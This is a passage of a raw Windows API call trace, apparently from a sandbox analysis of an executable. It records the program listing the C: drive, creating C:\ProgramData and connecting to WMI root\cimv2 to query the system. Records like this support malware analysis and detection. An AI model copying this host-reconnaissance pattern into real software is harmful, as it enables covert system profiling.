cAlternateFileName="")) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.315] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.316] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0042.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.316] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.316] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.317] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0042.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x150036c, cchWideChar=9 | out: lpWideCharStr="PerfLogs") returned 9 [0042.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f804, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0042.318] CreateDirectoryA (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata"), lpSecurityAttributes=0x0) returned 0 [0042.318] GetLastError () returned 0xb7 [0042.318] GetLastError () returned 0xb7 [0042.318] SetLastError (dwErrCode=0xb7) [0042.318] GetLastError () returned 0xb7 [0042.318] SetLastError (dwErrCode=0xb7) [0042.318] GetLastError () returned 0xb7 [0042.318] SetLastError (dwErrCode=0xb7) [0042.318] GetLastError () returned 0xb7 [0042.318] SetLastError (dwErrCode=0xb7) [0042.318] GetLastError () returned 0xb7 [0042.318] SetLastError (dwErrCode=0xb7) [0042.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0042.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x150036c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0042.318] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18f7c0) [0042.319] RtlUnwind (TargetFrame=0x18f9c0, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0042.319] SetErrorMode (uMode=0x8001) returned 0x8001 [0042.319] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0042.319] SetErrorMode (uMode=0x8001) returned 0x8001 [0042.319] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExW") returned 0x76d41ae5 [0042.319] GetVersionExW (in: lpVersionInformation=0x18f8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18f8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0042.319] GetLastError () returned 0x0 [0042.327] CreateBindCtx (in: reserved=0x0, ppbc=0x18f8f8 | out: ppbc=0x18f8f8*=0x14ffe28) returned 0x0 [0042.328] MkParseDisplayName (in: pbc=0x14ffe28, szUserName="winmgmts:", pchEaten=0x18f8f4, ppmk=0x18f8fc | out: pchEaten=0x18f8f4, ppmk=0x18f8fc*=0x1512870) returned 0x0 [0044.328] malloc (_Size=0x80) returned 0x14b24a8 [0044.329] DllGetClassObject (in: rclsid=0x1506b8c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x18f510*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ebc8 | out: ppv=0x18ebc8*=0x0) returned 0x80004002 [0044.329] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80810 [0044.329] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.329] DllGetClassObject (in: rclsid=0x1506b8c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7666ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18f6d0 | out: ppv=0x18f6d0*=0x2d80810) returned 0x0 [0044.329] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80810 [0044.329] WinMGMTS:IClassFactory:CreateInstance (in: This=0x2d80810, pUnkOuter=0x0, riid=0x7666f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f67c | out: ppvObject=0x18f67c*=0x2d80850) returned 0x0 [0044.330] GetVersionExW (in: lpVersionInformation=0x18f4c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x18f52c, szCSDVersion="塩盔\x08쀕") | out: lpVersionInformation=0x18f4c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0044.330] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0xf8) returned 0x0 [0044.330] RegQueryValueExW (in: hKey=0xf8, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x18f4c4, lpcbData=0x18f4c0*=0x4 | out: lpType=0x0, lpData=0x18f4c4*=0x3, lpcbData=0x18f4c0*=0x4) returned 0x0 [0044.330] RegCloseKey (hKey=0xf8) returned 0x0 [0044.330] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80828 [0044.330] GetSystemDirectoryW (in: lpBuffer=0x2d80828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0044.330] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x77710000 [0044.331] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0044.331] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.331] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80828 [0044.331] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80850 [0044.332] WinMGMTS:IUnknown:Release (This=0x2d80810) returned 0x0 [0044.332] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.332] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x2d80850, pbc=0x14ffe28, pszDisplayName="winmgmts:", pchEaten=0x18f894, ppmkOut=0x18f898 | out: pchEaten=0x18f894*=0x9, ppmkOut=0x18f898*=0x1512870) returned 0x0 [0044.332] _wcsnicmp (_String1="winmgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0044.333] IBindCtx:GetObjectParam (in: This=0x14ffe28, pszKey="WmiObject", ppunk=0x18f79c | out: ppunk=0x18f79c*=0x0) returned 0x80004005 [0044.333] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80860 [0044.333] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0044.333] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80880 [0044.333] CoCreateInstance (in: rclsid=0x755e42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x2d80898 | out: ppv=0x2d80898*=0x2d808e8) returned 0x0 [0044.557] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d808f8 [0044.557] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80960 [0044.557] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d809c0 [0044.557] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0044.557] GetCurrentThreadId () returned 0x3a4 [0044.557] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0044.557] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0044.557] GetCurrentThreadId () returned 0x3a4 [0044.557] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18f684 | out: phkResult=0x18f684*=0x100) returned 0x0 [0044.557] RegQueryValueExW (in: hKey=0x100, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x18f68c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x18f68c*=0x16) returned 0x0 [0044.557] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d809e0 [0044.557] RegQueryValueExW (in: hKey=0x100, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x2d809e0, lpcbData=0x18f68c*=0x16 | out: lpType=0x0, lpData=0x2d809e0*=0x72, lpcbData=0x18f68c*=0x16) returned 0x0 [0044.557] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80a00 [0044.557] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.558] RegCloseKey (hKey=0x100) returned 0x0 [0044.558] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f6b8 | out: ppv=0x18f6b8*=0x2d80a20) returned 0x0 [0044.775] SysStringLen (param_1=".") returned 0x1 [0044.775] WbemDefPath:IWbemPath:SetServer (This=0x2d80a20, Name=".") returned 0x0 [0044.775] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f670 | out: ppv=0x18f670*=0x2d80ab8) returned 0x0 [0044.775] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f614 | out: ppv=0x18f614*=0x2d80b50) returned 0x0 [0044.775] WbemDefPath:IWbemPath:SetText (This=0x2d80b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0044.776] WbemDefPath:IUnknown:Release (This=0x2d80b50) returned 0x0 [0044.776] SysStringLen (param_1="root\\cimv2") returned 0xa [0044.776] WbemDefPath:IWbemPath:SetText (This=0x2d80ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0044.776] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2d80ab8, puCount=0x18f680 | out: puCount=0x18f680*=0x2) returned 0x0 [0044.776] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x2d80a20) returned 0x0 [0044.776] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x2d80ab8, uIndex=0x0, puNameBufLength=0x18f648*=0x0, pName=0x0 | out: puNameBufLength=0x18f648*=0x5, pName=0x0) returned 0x0 [0044.776] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80b50 [0044.776] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x2d80ab8, uIndex=0x0, puNameBufLength=0x18f648*=0x5, pName="ಀ˘Ä˘" | out: puNameBufLength=0x18f648*=0x5, pName="root") returned 0x0 [0044.776] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.776] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x2d80a20, uIndex=0x0, pszName="root") returned 0x0 [0044.776] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x2d80ab8, uIndex=0x1, puNameBufLength=0x18f648*=0x0, pName=0x0 | out: puNameBufLength=0x18f648*=0x6, pName=0x0) returned 0x0 [0044.776] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80ce8 [0044.776] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x2d80ab8, uIndex=0x1, puNameBufLength=0x18f648*=0x6, pName="ĢĢ2" | out: puNameBufLength=0x18f648*=0x6, pName="cimv2") returned 0x0 [0044.776] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.776] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x2d80a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0044.776] WbemDefPath:IUnknown:Release (This=0x2d80ab8) returned 0x0 [0044.776] WbemDefPath:IWbemPath:GetText (in: This=0x2d80a20, lFlags=4, puBuffLength=0x18f69c*=0x0, pszText=0x0 | out: puBuffLength=0x18f69c*=0xf, pszText=0x0) returned 0x0 [0044.777] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80ab8 [0044.777] WbemDefPath:IWbemPath:GetText (in: This=0x2d80a20, lFlags=4, puBuffLength=0x18f69c*=0xf, pszText="୰˘ৠ˘2" | out: puBuffLength=0x18f69c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0044.777] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0044.777] WbemDefPath:IUnknown:Release (This=0x2d80a20) returned 0x0 [0044.777] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2d808e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x18f724 | out: ppNamespace=0x18f724*=0x2d8d194) returned 0x0 [0054.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8c898 [0054.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8d1a8 [0054.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8d208 [0054.790] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d194, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5f4 | out: ppvObject=0x18f5f4*=0x1517bcc) returned 0x0 [0054.791] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1517bcc, pProxy=0x2d8d194, pAuthnSvc=0x18f5e4, pAuthzSvc=0x18f5e8, pServerPrincName=0x0, pAuthnLevel=0x18f610, pImpLevel=0x18f60c, pAuthInfo=0x0, pCapabilites=0x18f5fc | out: pAuthnSvc=0x18f5e4*=0xa, pAuthzSvc=0x18f5e8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f610*=0x6, pImpLevel=0x18f60c*=0x2, pAuthInfo=0x0, pCapabilites=0x18f5fc*=0x1) returned 0x0 [0054.791] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x1 [0054.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.791] GetCurrentThreadId () returned 0x3a4 [0054.791] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d194, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f624 | out: ppvObject=0x18f624*=0x1517bcc) returned 0x0 [0054.792] WbemLocator:IClientSecurity:CopyProxy (in: This=0x1517bcc, pProxy=0x2d8d194, ppCopy=0x18f628 | out: ppCopy=0x18f628*=0x2d8d304) returned 0x0 [0054.792] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f540 | out: ppvObject=0x18f540*=0x1517bcc) returned 0x0 [0054.792] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1517bcc, pProxy=0x2d8d304, pAuthnSvc=0x18f564, pAuthzSvc=0x18f554, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f564*=0xa, pAuthzSvc=0x18f554*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0054.792] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x3 [0054.792] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f518 | out: ppvObject=0x18f518*=0x1517bec) returned 0x0 [0054.792] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f51c | out: ppvObject=0x18f51c*=0x1517bcc) returned 0x0 [0054.792] WbemLocator:IClientSecurity:SetBlanket (This=0x1517bcc, pProxy=0x2d8d304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0054.793] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x4 [0054.793] WbemLocator:IUnknown:Release (This=0x1517bec) returned 0x3 [0054.793] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x2 [0054.793] WbemLocator:IUnknown:AddRef (This=0x2d8d304) returned 0x3 [0054.793] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8d318 [0054.793] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8c968 [0054.793] WbemLocator:IUnknown:Release (This=0x2d8d194) returned 0x2 [0054.793] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.793] GetCurrentThreadId () returned 0x3a4 [0054.794] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.794] GetCurrentThreadId () returned 0x3a4 [0054.794] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f6e8 | out: ppvObject=0x18f6e8*=0x1517bcc) returned 0x0 [0054.794] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1517bcc, pProxy=0x2d8d304, pAuthnSvc=0x18f6d8, pAuthzSvc=0x18f6dc, pServerPrincName=0x0, pAuthnLevel=0x18f708, pImpLevel=0x18f70c, pAuthInfo=0x0, pCapabilites=0x18f6f0 | out: 